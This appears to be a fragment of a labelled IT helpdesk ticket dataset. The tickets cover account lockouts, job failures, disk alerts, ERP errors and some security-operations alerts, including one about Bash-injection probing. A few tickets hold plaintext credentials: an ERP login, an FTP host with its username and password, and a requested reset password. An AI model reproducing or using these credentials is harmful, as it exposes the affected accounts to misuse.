plant_170 is waiting for date since more than one day. job hangs at step 2, this step waits for 4 files from erp in \\edksm005\EU_tool-daten, coming in a ziped file. please check, whether the relazed erp-jobs are running properly + +phone: +49 +email(skype buissness external conact) iewnguxv.bufwxeiy@gmail.com",GRP_59 +"credit component is not working in prod author credit component is not working in prod author. we are getting the following error in the console: _x000D_ +_x000D_ +(programdnty):24 uncaught referenceerror: $xiframdntye is not definedsubmitform @ (programdnty):24(anonymous function) @ (programdnty):74dispatch @ jquery.min.js:3i @ jquery.min.js:3_x000D_ +_x000D_ +",GRP_51 +"laptop screen flickering hello team,_x000D_ +_x000D_ +my laptop monitor screen flickers more often when i start my laptop.",GRP_19 +"business_client SID_1 search_server not working hi, i can find documents in engineering tool SID_1. but not in business_client SID_1. search_server is not working. request you to check for indexing and do the needful as we need to do some uacyltoe hxgayczeing in business_client SID_1.",GRP_14 +"job bkbackup_tool_reporting_tool_prod_inc failed in job_scheduler at: 08/19/2016 00:18:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_reporting_tool_prod_inc failed in job_scheduler at: 08/19/2016 00:18:00",GRP_8 +"job bkbackup_tool_HostName_771_prod_full failed in job_scheduler at: 08/19/2016 00:05:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_HostName_771_prod_full failed in job_scheduler at: 08/19/2016 00:05:00",GRP_8 +"change payment terms for emea vendors - only accounting view from v169 to v301 _x000D_ +_x000D_ +received from: blktuiae.jzakfmhw@gmail.com_x000D_ +_x000D_ +dear it_x000D_ +_x000D_ +please create a ticket to update the emea vendor master file from v169 to v301_x000D_ +move the ticket to nahytua or another available colleague_x000D_ +_x000D_ +only accounting view_x000D_ +_x000D_ +should be done today; very urgent_x000D_ +_x000D_ +",GRP_10 +loan switch help to install the loan switch and lan cable on newly created cubicle.,GRP_19 +keybankrd/accident damage hinge cover windows key and q key is not working and also there is accidental damage on hinge.,GRP_19 +unable to download files from gpts unable to download files from gpts,GRP_0 +"need uasername and password of .telephony_software-server@company.com and .telephony_software-server@company.com for ewseditor uacyltoe hxgaycze emails of australia team not polling into telephony_software. so far, they have to work via outlook._x000D_ +i3 engineer need to do ewseditor uacyltoe hxgaycze and ask us to provide the username and password for the qlhmawgi sgwipoxn .telephony_software-server@company.com and .telephony_software-server@company.com .",GRP_7 +"windows locked + +received from: nmgesubf.wugbalmy@gmail.com + +hi, + + following user id (winows) is locked, pl. help. + +user id : dsilvfgj, + + +",GRP_0 +"the finance_app application is reporting a : down status on, HostName_1132. since 8/18/2016 5:29 pm est the finance_app hfm server is reporting a : down status on, HostName_1132. since 8/18/2016 5:29 pm est",GRP_12 +"why the changed weight of the mm hasn't been copied to the sales order? we met the weight problem when make shipment to order 35410210, shipping plant complained the weight in d/n for some of mms still remain 11.111g( dummy weight for a new mm). but actually the weight of the mm has already be updated at mm02 to the real weight before dn created. so why system cannot carry out the new weight to the sales order? see samples mm7316889 in this s/o._x000D_ +the mm changes recorded said the weight was updated from 11.111g to 500g on june 21 2016, however the s/o still keep 11.111g so when plant_185 run d/n on aug. 10 2016, the weight in d/n still shown 11.111g thus warehouse have to manual update the weight in d/n._x000D_ +please verify what's the problem, ",GRP_13 +"转发: 申请退换货，质量投诉， external complaints 7611183180 status assigned + +received from: pkdavqwt.tafrmxsh@gmail.com + +hello it team, +can we add receiving address, contact person & tel. number on return form? + +letgyo jiftg +logistics manager + +e: pkdavqwt.tafrmxsh@gmail.com + +发件人: johthryugftyson hu +发送时间: 2016å¹´8月18æ—¥ 10:22 +收件人: letgyo jiftg; east service +抄送: simfghon wanrtyg +主题: re: 申请退换货，质量投诉， external complaints 7611183180 status assigned + +leo， + +please check with it if it's possible to add the warehouse person for receiving return (for plant_283: judthti zhu and her office tel#) +to the return form attached + +",GRP_15 +"need access to global t drive _x000D_ +_x000D_ +received from: uycravzn.feqlznyg@gmail.com_x000D_ +_x000D_ +as i have been asked to put together traiyctrhbkm plvnuxmrterial for the imts show, i will need access to the global t drive (\\HostName_768\teams\imts2012\pre-show-product-training), which i do not currently have._x000D_ +_x000D_ +best ",GRP_34 +"ticket update info provided to vksfrhdx njhaqket for bobj access from: rakthyesh ramdntythanjesh +sent: friday, august 19, 2016 5:52 am +to: vksfrhdx njhaqket; ctzykflo evzbhgru +cc: hadfiunr vupglewt; wvdxnkhf jirecvta; anftgup nftgyair +subject: re: bobj access + +dear marftgytin, + +yes, request is processed , completed and closed by anup + +reference ticket no-ticket_no1536921 + +kind ",GRP_0 +"uacyltoe hxgaycze phishing email-account information updated from: rakthyesh ramdntythanjesh +sent: friday, august 19, 2016 5:40 am +to: ed bigdrtyh +subject: re: account information updated + +dear ed, + +hope you are doing good, + +please note that this is a phishing uacyltoe hxgaycze email sent out by it to uacyltoe hxgaycze our preparedness for actual scenarios. + +congratuldhyation on detecting and highlighting the issue, ",GRP_0 +"uacyltoe hxgaycze phishing email-account information updated from: rakthyesh ramdntythanjesh _x000D_ +sent: friday, august 19, 2016 5:39 am_x000D_ +to: sunil gavasane_x000D_ +subject: re: account information updated_x000D_ +_x000D_ +dear sunil,_x000D_ +_x000D_ +_x000D_ +hope you are doing good,_x000D_ +_x000D_ +please note that this is a phishing uacyltoe hxgaycze email sent out by it to uacyltoe hxgaycze our preparedness for actual scenarios._x000D_ +_x000D_ +congratuldhyation on detecting and highlighting the issue, ",GRP_0 +see attachment discritpion does not show the discription shows correctly for mmaster but not for me. ??,GRP_29 +"HostName_1003: average (4 samples) disk free on e:\ is now 14%, which is below the warning threshold (15%) HostName_1003: average (4 samples) disk free on e:\ is now 14%, which is below the warning threshold (15%) out of total size 100.0 gb",GRP_12 +"HostName_898: average (4 samples) disk free on f:\ is now 14%, which is below the warning threshold (15%) HostName_898: average (4 samples) disk free on f:\ is now 14%, which is below the warning threshold (15%) out of total size 8.0 gb",GRP_39 +"emails are not being sent from the .net systemaccess applicaiton end-users are submitting security requests, but the approvers are not receiving emails from the systemaccess application to approve them.",GRP_25 +solicito imagens da frente do cd visando avaliar furto de motor de betoneira período: das 12h00 de 15/08 até 12h00 de 18/08/2016,GRP_62 +unable to log in to skype unable to log in to skype ,GRP_0 +blank call blank call,GRP_0 +printer driver update printer driver update,GRP_0 +"usa: interfacetengigabitethernet1/1/1 is down since 02:30pm et on 08/17 usa: interfacetengigabitethernet1/1/1, dr l3 connection to 6500 top(10.1.200.1) on tech-4500x-stack.company.com is down since 02:30pm et on 08/17",GRP_4 +engineering tool icon on the desktop engineering tool icon on the desktop,GRP_0 +"request to reset microsoft online services password for aparecido from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com] +sent: thursday, august 18, 2016 10:54 pm +to: nwfodmhc exurcwkm +cc: tiyhum kuyiomar +subject: amar request to reset microsoft online services password for recsynqt.byoezmla@gmail.com +importance: high + + request to reset user's password + the following user in your organization has requested a password reset be performed for their account: + +• recsynqt.byoezmla@gmail.com +• first name: aparecido +• last name: trhsyvdur + +consider contacting this user to validate this request is authentic before continuing. + +if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user. + +want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks. + +sincerely, +company inc. + + + this message was sent from an unmonitored email address. please do not reply to this message. + + + + + +",GRP_0 +i'm trying to access crm through ess but getting message password has expired. i tried password_management_tool password manager i'm trying to access crm through ess but getting message password has expired. i tried password_management_tool password manager and unlocked all accounts. i rebooted pc. tried password manager again,GRP_0 +HostName_106: c:\ on server: HostName_106 is over 85% space consumed. space available: 2.8 g HostName_106: volume: c:\ label:sys-HostName_106 5c38eea1 on server: HostName_106 is over 85% space consumed. space available: 2.8 g ,GRP_12 +unable to get the sales org in distributor_tool unable to get the sales org in distributor_tool ,GRP_0 +"while trying to invoke the method java.util.list.iterator() of a null object loaded from a local variable 'locallist' when i try to look at a configuration for a rqfhiong zkwfqagb, i get an error - while trying to invoke the method java.util.list.iterator() of a null object loaded from a local variable 'locallist' + +phone; ",GRP_14 +"telephony_software login issue - yakimp & staszk two users have a problem with logging into telephony_software system. qlzgbjck yzwnvbjt, login staszk and djskrgae dnckipwh, login yakimp. print screens attached. will you be able to assist? ",GRP_7 +team sproc is not converting direct team revenue to employee currency code team sproc is not converting direct team revenue to employee currency code,GRP_25 +unlock erp SID_34 account unlock erp SID_34 account ,GRP_0 +unable to login to collaboration_platform unable to login to collaboration_platform,GRP_0 +unable to login to the pc unable to login to the pc ,GRP_0 +businessobjects_cms : cms server watcher: server named HostName_995 businessobjects_cms: cms server watcher: server named HostName_995 ,GRP_14 +my erp login appears not to be working my erp login appears not to be working username wolfthry password kasphryer1,GRP_0 +"telephony_software update :803 +summary:telephony_software update did not work",GRP_0 +"unlock account email in cell phone the users qasdhyzm yuglsrwx (id: nasftgcijj) and rspqvzgu vroanwhu (id: silvgtyar1) hello team, + +could you please unlock account email in cell phone the users qasdhyzm yuglsrwx (id: nasftgcijj) and rspqvzgu vroanwhu (id: silvgtyar1) + +",GRP_0 +sales org tab does not show up the field sales org tab does not show up the field,GRP_0 +"job Job_1387 failed in job_scheduler at: 08/18/2016 11:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1387 failed in job_scheduler at: 08/18/2016 11:11:00",GRP_9 +ms crm online dash bankrd /opportunities issue. ms crm online dash bankrd /opportunities issue.,GRP_0 +unable to open attachments in erp unable to open attachments in erp,GRP_0 +"unable to create dn hi it _x000D_ +_x000D_ +please assist o to create dn as i am not able to._x000D_ +",GRP_6 +"to help jdamieul fandyhgg + +received from: ztdgvclp.gzcalstq@gmail.com + +hello, +danghtnuell is having a connection problem. +would you please get in touch with him? +615- office phone number. + +",GRP_3 +account is locked account is locked,GRP_0 +"job Job_2063b failed in job_scheduler at: 08/18/2016 10:29:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2063b failed in job_scheduler at: 08/18/2016 10:29:00",GRP_6 +reset the password for aliuytre j love-lewis on other / caas applications i would like to reset my caas applications (remote and desktop connection) password. itylnjqw kqiurhbt and thomklmas brrgtyant handles these request in our office .it is apart of the customer interaction phone system.,GRP_7 +ms outlook issue: ms crm dynamics issue ms outlook issue: ms crm dynamics issue,GRP_0 +"outlook issue 440 +summary:i don't think i am receiving my email",GRP_0 +dev/software file system on HostName_184 has consumed 86% of space dev/software file system on HostName_184 has consumed 86% of space,GRP_47 +virus detected on pc virus detected on pc. please see attachment.,GRP_50 +"erp ecs tracking is not working resp. computer crashes erp ecs tracking is not working resp. computer crashes immediately when trying to get proof of delivery for ups shipments._x000D_ +_x000D_ +del. note - header - ecs tracking and when clicking on proof of delivery erp stops - tried several times - always the same",GRP_49 +account unlock request from herr schmidt : dnc430 account unlock request from herr schmidt : dnc430,GRP_0 +"unable to access the lunch menu on the hub email: +from: renyhtuee a meayhtger +sent: thursday, august 18, 2016 5:10 pm +to: nwfodmhc exurcwkm +subject: fw: renyhtuee a meayhtger wants to access 'lunch-menus' + +can someone check on why i can't access lunch menus? did something change in collaboration_platform? this should be available to everyone! + +best ",GRP_27 +"not able to login to hub not able to login to hub_x000D_ +_x000D_ +helped with email address and asked her to user after some time.",GRP_0 +windows password reset windows password reset,GRP_0 +"unable to access collaboration_platform it homepage - error: access denied (screenshot attached)._x000D_ +confirmed that gso and security admin team members are unable to access, possibly others as well._x000D_ +_x000D_ +informed gvxfymjk euioadyf and khadfhty who are currently investigating._x000D_ +_x000D_ +we are able to access other sites including cor relations, finance, markhtyeting and the gso subsite as well when accessed directly through url",GRP_16 +"can´t do pgi for mm 5316075 +49 +SID_34 +error: item category is not defined message - no. vl324 + +i can´t do the pgi for : +9168049095 +8057945735 +9168049015 + + ",GRP_18 +snipping tool shortcut snipping tool shortcut,GRP_0 +"uacyltoe hxgaycze chat ic: welcome, our next available agent will be with you shortly..._x000D_ +ic: interaction alerting agent._x000D_ +aytjedki rucfxpla: uacyltoe hxgaycze_x000D_ +aytjedki rucfxpla: this is sabrthy_x000D_ +ic: website visitor has joined the conversation_x000D_ +efbwiadp dicafxhv: hello sabrthy_x000D_ +efbwiadp dicafxhv: its working fine# _x000D_ +",GRP_0 +"job HostName_1019fail failed in job_scheduler at: 08/18/2016 08:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail failed in job_scheduler at: 08/18/2016 08:11:00",GRP_8 +unable to login to skype unable to login to skype,GRP_0 +"job HostName_1019fail failed in job_scheduler at: 08/18/2016 07:59:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail failed in job_scheduler at: 08/18/2016 07:59:00",GRP_8 +"job HostName_1019fail failed in job_scheduler at: 08/18/2016 07:59:00 _x000D_ +_x000D_ +received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail failed in job_scheduler at: 08/18/2016 07:59:00",GRP_60 +"HostName_173(erp - SID_8): average (1 samples) disk free on /home is now 12%, which is below the warning threshold (15%) HostName_173(erp - SID_8): average (1 samples) disk free on /home is now 12%, which is below the warning threshold (15%) out of total size 0.0 gb",GRP_47 +"business_client & erp gui issue a couple of users (nmzfdlar whzbrusx, uwdqtrnx uhntgvyj) have reported the attached error when using the transaction code zwwirep.",GRP_11 +qlhmawgi sgwipoxn unlock request : nk_prod qlhmawgi sgwipoxn unlock request : nk_prod,GRP_0 +"possible bash command injection attempt dsw in33637966_x000D_ +_x000D_ +we are seeing '50990 vid63154 possible bash command injection attempt - bash in http header (incoming)' alerts being generated by your isensor03.company.com/10.32.100.17 device indicating that one or more hosts, including 220.202.123.178, are attempting to discover whether one of your internet-facing devices, including 10.250.1.13/clhqsm010, is vulnerable to a bash shell remote code execution vulnerability (cve-2014-6271). successful exploitation of these vulnerabilities may result in information disclosure or remote code execution. as the traffic in these alerts indicates an attempt to exploit said application, we are escalating this matheywter to you via a medium priority ticket. _x000D_ + _x000D_ +blocking each source ip address may not be productive due to attackers' ability to switch ip addresses through the use of proxies, anonymizing software such as tor, and vpns. please investigate your environment to determine whether you are running a vulnerable version of the application being targeted. ",GRP_47 +"'internal outbreak for 7/udp' dsw in33638260_x000D_ +_x000D_ +incident overview_x000D_ +=========================_x000D_ +we are seeing your 54.96.80.216/att-singapore-asa.company.com-1 device generating at least 254 'internal outbreak for 7/udp' alerts within 10 minutes, for traffic (blocked) from awyl9912395/10.38.28.239 to port 7/udp of several internal hosts. this may indicate unauthorized reconnaissance scanning, a misconfiguration, or authorized internal discovery being blocked by the firewall._x000D_ +_x000D_ +we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . ",GRP_50 +"'repeat outbound connection for 135/tcp' dsw in33638700_x000D_ +_x000D_ +incident overview_x000D_ +=========================_x000D_ +we are seeing your 18.79.63.203/company-internal-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from ldgl8513807/10.24.14.230 to port 135/tcp (remote procedure call (rpc)) of external host 220.250.64.225. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code._x000D_ +_x000D_ +we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . _x000D_ +_x000D_ +1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)_x000D_ +2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)",GRP_3 +machine stuck on welcome screen machine stuck on welcome screen ,GRP_0 +"rma customer return error billing 0158655822 , inwarehouse_tool 415464 _x000D_ +customer return not processed correctly_x000D_ +when input billing 0158655822, the material isn't copied from the reference.",GRP_13 +"urgent : user : vvspecmfrt : please reactivate account. user : vvspecmfrt : please reactivate account._x000D_ +_x000D_ +from 18.august.2016 till 28.february.2017 it should be active.",GRP_2 +monitor on rqxw8515251 is out. monitor on rqxw8515251 is out.,GRP_3 +"very urgent: reset windows password + +received from: oslzvpgk.nhwsxgpb@gmail.com + +good day + +htnvbwxs gwfrzuex has already issued a ticket for this – please address aerp! + +please reset windows password for rhgteini + + +",GRP_0 +skype does not open. skype does not open.,GRP_0 +outlook does not open. outlook does not open.,GRP_0 +"password cannot changed _x000D_ +_x000D_ +received from: tbukjcyl.lxncwqbj@gmail.com_x000D_ +_x000D_ +dear all_x000D_ +could you please help me to fix it,_x000D_ +_x000D_ +[cid:image001.jpg@01d1f978.729627d0]_x000D_ +_x000D_ +best ",GRP_0 +tess installation tess installation ,GRP_0 +"attendance_tool password + +received from: dwafrmth.oabwzitv@gmail.com + +hi + +i have forgotten the attendance_tool password my user id is 20452489 + + +with best ",GRP_0 +"issue in business_client _x000D_ +_x000D_ +received from: eakhgxbw.pfyadjmb@gmail.com_x000D_ +_x000D_ +hello team,_x000D_ +_x000D_ +i am facing issue in opening business_client._x000D_ +_x000D_ +getting following error msg._x000D_ +_x000D_ +pl help on this._x000D_ +[cid:image009.jpg@01d1f967.2e19de50]_x000D_ +",GRP_0 +mitarbeiter reichenberg philipp benötigt berechtigung für den ordner file:///m:\ce_leiter mitarbeiter reichenberg philipp benötigt berechtigung für den ordner file:///m:\ce_leiter,GRP_34 +printer not working printer not working ,GRP_0 +"reset the password for fniqhjtg qrfuetpw on windows login please reset users windows password to welcome1, as she is having issues logging in.",GRP_0 +drucker an messmaschine r173 in halle b hat ständig papierstau. drucker an messmaschine r173 in halle b hat ständig papierstau.,GRP_33 +"access new payroll site _x000D_ +_x000D_ +received from: cvqnstgu.ofnimlwx@gmail.com_x000D_ +_x000D_ +hi_x000D_ +_x000D_ +i have been having an issue with being able to gain access to make approvals for our new payroll site._x000D_ +_x000D_ +they have advised the issue is with my browser._x000D_ +_x000D_ +below is the email trail on the issue._x000D_ +_x000D_ +can i get some assistance to rectify the problem?i don't want to download the wrong browser._x000D_ +_x000D_ +_x000D_ +to all_x000D_ +_x000D_ +who should i contact to resolve this issue?_x000D_ +_x000D_ +",GRP_0 +"not able to see drawings in business_client not able to view/download tool drawings over business_client. + +summary:business_client - refer call by mr. dwfiykeo argtxmvcumar",GRP_0 +"please help _x000D_ +_x000D_ +received from: iqmhjlwr.jqmxaybi@gmail.com_x000D_ +_x000D_ +please can you help me. i am experiencing nearly 90 min delay on my incoming e-mails as per below screenshot_x000D_ +_x000D_ +_x000D_ +[cid:image001.jpg@01d1f93f.11ea7910]_x000D_ +_x000D_ +",GRP_0 +"win installation image for russia office + +received from: koahsriq.wdugqatr@gmail.com + +good day all + +we need to rebuild 1 win 7 laptop and 1 new with win 7 image. could you please download actual images on our ftp (credential below)? usually romftguald helping us with this kind of downloading but now he is unavailable + +ftp:\\ftp.terralink.ru +login: company +password: companymet@l + + +с уважением, +евгения. + + +koahsriq wdugqatr, +administrative assistant. +koahsriq.wdugqatr@gmail.com + +",GRP_65 +"mail access in mobile _x000D_ +_x000D_ +received from: rsvminjz.tcpqvbae@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +provide me the mail access for mobile. encl the details._x000D_ +_x000D_ +_x000D_ +",GRP_0 +"the attached 7 initiatives in ""director approved"" status, but cannot be released per subject, i have changed the status to ""director approved"", but cannot release. error message ""enter channel manager"", but in account details, the cm is available. can you please solve?",GRP_15 +"erp login issue _x000D_ +_x000D_ +received from: csmtowqn.ulpjtgfo@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +iam getting the below error while trying to login. kindly help._x000D_ +_x000D_ +[cid:image001.png@01d1f958.2cf09e60]_x000D_ +_x000D_ +best ",GRP_0 +"purchasing zitec catalogue does not work in SID_34 whenn accessing the catalog the company logon data are missing (userid and password are not given)_x000D_ +in SID_1 it works in SID_34 not. please check.",GRP_29 +"installation of engineering tool/engineering_tool/google chrome/winrar/ _x000D_ +_x000D_ +received from: irqpwgtn.dpautgeh@gmail.com_x000D_ +_x000D_ +dear concern,_x000D_ +_x000D_ +please install all related apps to my laptop as i got new laptop._x000D_ +_x000D_ +with best ",GRP_0 +"sipppr routing to demand planners not working ... sippprs get routed to admin as of this morning, the routing for sippprs to demand planners seems to be broken.",GRP_20 +"netzteil an der docking station ohne funktion. netzteil an der docking station ohne funktion._x000D_ +_x000D_ +ext : 673_x000D_ +",GRP_28 +"browserproblem mit hub + +received from: mnakehrf.mvunqihf@gmail.com + +guten tag, +the hub lässt sich an meinem rechner nicht öffnen. +der bildschirm „baut"" sich nicht auf. einige wenige male funktioniert es. +auf anderen rechnern funktioniert es. browserproblem? + +[cid:image001.png@01d1f935.373777e0] + + + + +mit freundlichen grüßen + +mnakehrf mvunqihf +analyst payroll +mnakehrf.mvunqihf@gmail.com + +geschäftsführer: phvkowml azbtkqwx, naruedlk mpvhakdq +",GRP_0 +"not able to sign in collaboration_platform, + +received from: qubywmgf.jouickqx@gmail.com + +that didn't work +we're sorry, but qubywmgf.jouickqx@gmail.com can't be found in the company.collaboration_platform.com directory. please try again later, while we try to automatically fix this for you. +here are a few ideas: +[ +click here to sign in with a different account to this site. +this will sign you out of all other office 365 services that you're signed into at this time. +[ +if you're using this account on another site and don't want to sign out, start your browser in private browsing mode for this site (show me how)< +if that doesn't help, contact your support team and include these technical details: +correlation id: 01ec9a9d-7035-2000-1602-ce2ff57c84f1 +date and time: 8/18/2016 12:35:10 am +url: +user: qubywmgf.jouickqx@gmail.com +issue type: user not in directory. + + +for company + +athjyul dixhtyuit +senior manager sales - north ( msg) +qubywmgf.jouickqx@gmail.com + +companytm + + + +",GRP_0 +"telephony_software-software upgrade funktioniert nicht telephony_software-software upgrade funktioniert nicht. pc: empl8111412_x000D_ +vor dem start des upgrades wurden alle programdntyme geschlossen._x000D_ +nach dem start des upgrades erschien folgende fehlermeldung ""wusa.exe - anwendungsfehler"" (siehe datei)_x000D_ +nach der bestätigung mit ""ok"" wurde anwendung geschlossen und der upgrade nicht durchgeführt._x000D_ +_x000D_ +translation : _x000D_ +telephony_software software upgrade does not work. pc: empl8111412_x000D_ +before starting the upgrade, all programdntys have been closed._x000D_ +after starting the upgrade following error message appeared ""wusa.exe - application error"" (see file)_x000D_ +after confirming with ""ok"" application is closed and the upgrade is not performed._x000D_ +",GRP_33 +"abended job in job_scheduler: Job_1338 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1338 at 08/18/16 02:54:34",GRP_9 +"abended job in job_scheduler: Job_1388 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1388 at 08/18/16 02:54:34",GRP_9 +"tess issue _x000D_ +_x000D_ +received from: ufgkybsh.ijswtdve@gmail.com_x000D_ +_x000D_ +dear sir/mam,_x000D_ +_x000D_ +i am facing issue with tess software. kindly help me to resolve the issue._x000D_ +_x000D_ +[cid:image001.jpg@01d1f94b.49e78c70]_x000D_ +_x000D_ +",GRP_0 +"abended job in job_scheduler: Job_1332 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1332 at 08/18/16 02:51:35",GRP_9 +"engineering_tool not opening _x000D_ +_x000D_ +received from: qmpyjfbn.zlyiwtch@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +please help to resolve the below issue while opening engineering_tool, will be available in office for next 1 hour._x000D_ +_x000D_ +[cid:image001.jpg@01d1f947.8d282e30]_x000D_ +_x000D_ +",GRP_0 +"wireless access point prüfen geb.14 ,geb16 und konferenzraum geb.2 \xmlbfjpg yegzbvru wireless access point prüfen geb.14 ,geb16 und konferenzraum geb.2 \xmlbfjpg yegzbvru",GRP_24 +"business_client error _x000D_ +_x000D_ +received from: zcyueotq.ehvpaqnf@gmail.com_x000D_ +_x000D_ +hello ,_x000D_ +_x000D_ +i am getting below error when i open business_client_x000D_ +_x000D_ +[cid:image004.jpg@01d1f946.9ca4fba0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +with ",GRP_0 +probleme mit lan \ewew8323735 \xwirzvda okhyipgr probleme mit lan \ewew8323735 \xwirzvda okhyipgr,GRP_24 +probleme mit lan \ewew8323862 \xwirzvda okhyipgr probleme mit lan \ewew8323862 \xwirzvda okhyipgr,GRP_24 +wireless access point funktioniert nicht \jxphgfmb gjbtuwek wireless access point funktioniert nicht \jxphgfmb gjbtuwek,GRP_24 +"vnc-zugriff auf empwx000189 (sk-presserei germany) geht nicht mehr fehlermeldung ""failed to connect to server"". lt. kollegen in der sk-presserei ist die pc-nummer aber richtig, und der pc wurde auch nicht ausgetauscht oder erneuert. danke!",GRP_33 +"goods movement mb11 hello, + + +please let me know how to conduct goods movement with mb11 for mm#6545035 / 6100063 which are not accepted. + + + +*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +株式会社　エクスツルードホーン +プロジェクトエンジニア +田村　尚俊 +iwazgesl ydgqtpbo +project engineer & supply chain logistics +company k.k. + +e-mail: iwazgesl.ydgqtpbo@gmail.com +*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + + +（弊社は2016å¹´1月1日より会社名を株式会社エクスツルードホーンへ変更致しました。） +",GRP_29 +"cancel migo entry for po5018096568 (5321) _x000D_ +_x000D_ +received from: neokfwiy.ufriscym@gmail.com_x000D_ +_x000D_ +dear it,_x000D_ +_x000D_ +due to the goods delivery issue by plant_298, please help to reverse the migo entry material doc. 6126951797 /accounting doc. 6111167039, also need you help to reverse the good issue doc. 5011169990, the d/n 9168984815 has been cancelled._x000D_ +_x000D_ +[cid:image002.png@01d1f956.6d0ac0e0]_x000D_ +_x000D_ +[cid:image003.png@01d1f956.fb694960]_x000D_ +_x000D_ +[cid:image001.png@01d1f957.983fbd00]_x000D_ +_x000D_ +best ",GRP_18 +"电脑卡且连不上内网 + +received from: tuqrvowp.fxmzkvqo@gmail.com + +电脑卡且连不上内网，请转贺正平 + + + +tuqrvowp fxmzkvqo 钱唐鑫 +human resources +tuqrvowp.fxmzkvqo@gmail.com + +中国上海奉贤陈桥路1508号 + +",GRP_30 +"fe08 doesn't work in erp when i print oa in erp and choose the fe08, fe08 doesn't work . but it's work when i print excel/word/pdf files . +my erp id:wrtyuh2 +the matheywter is also happened with erp id: fufrtal. +",GRP_0 +"abended job in job_scheduler: Job_1148 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1148 at 08/18/16 01:15:32",GRP_9 +"configuration of knowledge center _x000D_ +_x000D_ +received from: rnueobcz.lwhcbati@gmail.com_x000D_ +_x000D_ +please add/connect the below mail id to my outlook._x000D_ +i need access to send & receive the emails. it should work with both mine & gslpdhey ksiyurvlir's outlook._x000D_ +_x000D_ +-knowledge.center@company.com_x000D_ +w-in-knowledge.center@company.com_x000D_ +_x000D_ +action request urgent._x000D_ +_x000D_ +thanking you_x000D_ +",GRP_0 +"interface down ::usa switch :: bottom-6509-msfc720 switch since 8/17/2016 11:46 pm est interface down ::bottom-6509-msfc720 switch since 8/17/2016 11:46 pm est_x000D_ +_x000D_ +switch description:_x000D_ +_x000D_ +gigabitethernet4/14 · infoblox trinzic 1420 dns node 2 ha 10.32.1.10 / vip 10.32.1.11",GRP_4 +reset passwords for ezrsdgfc hofgvwel using password_management_tool password reset. the,GRP_17 +reset passwords for ezrsdgfc hofgvwel using password_management_tool password reset. the,GRP_17 +"abended job in job_scheduler: Job_1141 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1141 at 08/17/16 23:45:30",GRP_9 +printer setup help to install the network printer on the laptop,GRP_19 +"telephony_software 软件升级后, 打印文件时-prtpu07 打印机提示错误。 telephony_software 软件升级后, 打印文件时-prtpu07 打印机提示错误，无法打印到打印机。",GRP_31 +account locked in erp SID_34 account locked in erp SID_34,GRP_0 +inquiry for adding digital signature in pdf inquiry for adding digital signature in pdf,GRP_0 +unable to sign in to skype unable to sign in to skype,GRP_0 +"unable to launch business_client, getting microsoft.net error unable to launch business_client, getting microsoft.net error",GRP_0 +"HostName_1045: average (4 samples) disk free on c:\ is now 15%, which is below the warning threshold (15%). HostName_1045: average (4 samples) disk free on c:\ is now 15%, which is below the warning threshold (15%). out of total size 100.0 gb",GRP_12 +"HostName_973: total cpu is now 100.00%, which is above the error threshold (99%) HostName_973: average (5 samples) total cpu is now 100.00%, which is above the error threshold (99%)",GRP_12 +lhqsm518: hrsync sync failed! no sync detected in the last 24 hours...please investigate lhqsm518: hrsync sync failed! no sync detected in the last 24 hours...please investigate,GRP_12 +"email contacts issue email contacts issue_x000D_ +-connected to the user system using teamviewer._x000D_ +-deleted the ms crm and reconfigured the mscrm._x000D_ +-restarted the pc and reconfigured the outlook._x000D_ +-caller confirmed that he is now able to see the emails on outlook._x000D_ +-issue resolved.",GRP_0 +dell 7350: monitor display issue. dell 7350: monitor display issue.,GRP_0 +"abended job in job_scheduler: Job_1852 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1852 at 08/17/16 17:18:31",GRP_8 +"ess problems - expense report _x000D_ +_x000D_ +received from: jnqmvard.jiazxvcl@gmail.com_x000D_ +_x000D_ +i am trying to do my expense report thru ess and it's not working, a blank screen pop up after i click oon the expense report link_x000D_ +_x000D_ +",GRP_0 +"i cannot receive calls through telephony_software. the call comes through, and rings one time, then goes to warehouse_toolmail. i closed telephony_software and name:tfgtodd panelfgt +language: +browser:microsoft internet explorer +email:lwbchnga.axpqctfr@gmail.com +customer number: +telephone:803 +summary:hello. i cannot receive calls through telephony_software. the call comes through, and rings one time, then goes to warehouse_toolmail. i closed telephony_software and rebooted my phone, and it is still doing 